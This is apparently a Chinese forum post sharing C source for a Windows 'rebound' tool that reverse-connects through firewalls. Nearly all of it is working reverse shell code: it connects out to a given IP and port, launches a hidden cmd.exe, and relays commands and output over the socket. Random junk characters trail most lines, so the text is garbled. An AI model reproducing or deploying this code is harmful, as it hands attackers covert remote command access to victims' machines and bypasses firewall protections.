这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 %^?3s5PXD
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/* ============================== %>9+1lUhV
Rebound port in Windows NT +bc#GzVF
By wind,2006/7 !QR?\9`
===============================*/ a$zm/
#include 3^R] [;
#include tZu*Asx7
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#pragma comment(lib,"wsock32.lib") Z++Z@J "
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void OutputShell(); h9BD
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SOCKET sClient; a;'E}b{`F
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; x #X#V\w=
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void main(int argc,char **argv) a}qse5Fr
{ M`+e'vdw
WSADATA stWsaData; !P60[*>
int nRet; gUH'DS]{
SOCKADDR_IN stSaiClient,stSaiServer; Hdbnb[e
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if(argc != 3) 9p\Hx#^
{ 7hN6IP*so
printf("Useage:\n\rRebound DestIP DestPort\n"); Dj
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return; mj~N]cxB
} (\mulj
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WSAStartup(MAKEWORD(2,2),&stWsaData); xngeV_xc2
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); bg1"v a#2
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stSaiClient.sin_family = AF_INET; ()nKug`.@
stSaiClient.sin_port = htons(0); j*H;a ?Y
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); \5_P5q:`
h%1~v$W`
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) &ap`}^8pM
{ vpeBQ=2\
printf("Bind Socket Failed!\n"); {GQ
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return; H#|Z8^ *Ds
} A
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stSaiServer.sin_family = AF_INET; (U(/C5'
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); <nw<v9Z
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); s
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) cbh#E)['
{ o,CA;_
printf("Connect Error!"); ~N{_N95!2@
return; uhTKCR~
} ~.W=
OutputShell(); Wd^lt7(j
} OC?Zw@
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void OutputShell() T\2) $
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char szBuff[1024]; 3b|7[7}&
SECURITY_ATTRIBUTES stSecurityAttributes; o%Uu.P
OSVERSIONINFO stOsversionInfo; >
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; N
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STARTUPINFO stStartupInfo; O>SuZ>g+7
char *szShell; i?a,^UM5n[
PROCESS_INFORMATION stProcessInformation; CQBT::
unsigned long lBytesRead; C7b
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); @zr8%8n
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 7wiK.99
stSecurityAttributes.lpSecurityDescriptor = 0; Q\o$**+{
stSecurityAttributes.bInheritHandle = TRUE; pYLY;qkG"
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); om".j
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ` $.X [\*U
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); $ DDSN
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; } g3HoFC
stStartupInfo.wShowWindow = SW_HIDE; QmH/yy3.%
stStartupInfo.hStdInput = hReadPipe; qE#&)
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; qPXANx<^
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GetVersionEx(&stOsversionInfo); 2I]]WBW#:
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switch(stOsversionInfo.dwPlatformId) |'U,/
{ 00`bL
case 1: kZU"Xn
szShell = "command.com"; B^i mG
break; r~Y>+ln.
default: *D=K{bUe'
szShell = "cmd.exe"; 0)A=+zSS1
break; Xzx[C_G
} wUZQB1$F
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); '^Pq(b~
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send(sClient,szMsg,77,0); ov\Ct%]
while(1) F-$Z,Q]S
{ 0M#N=%31
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); nmD1C_&
if(lBytesRead) (@%XWg
{ S}zC3
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 8lU;y)Z
send(sClient,szBuff,lBytesRead,0); -d|BO[4j
} 5wzQ?07T_
else F3r S6_
{ W$z#ssr
lBytesRead=recv(sClient,szBuff,1024,0); ?@Z7O.u
if(lBytesRead<=0) break; <KHv|)ak
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); #'J~Xk
} Qy{NS.T
} ?*CRa$_I|
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return; &q4ox7 1
}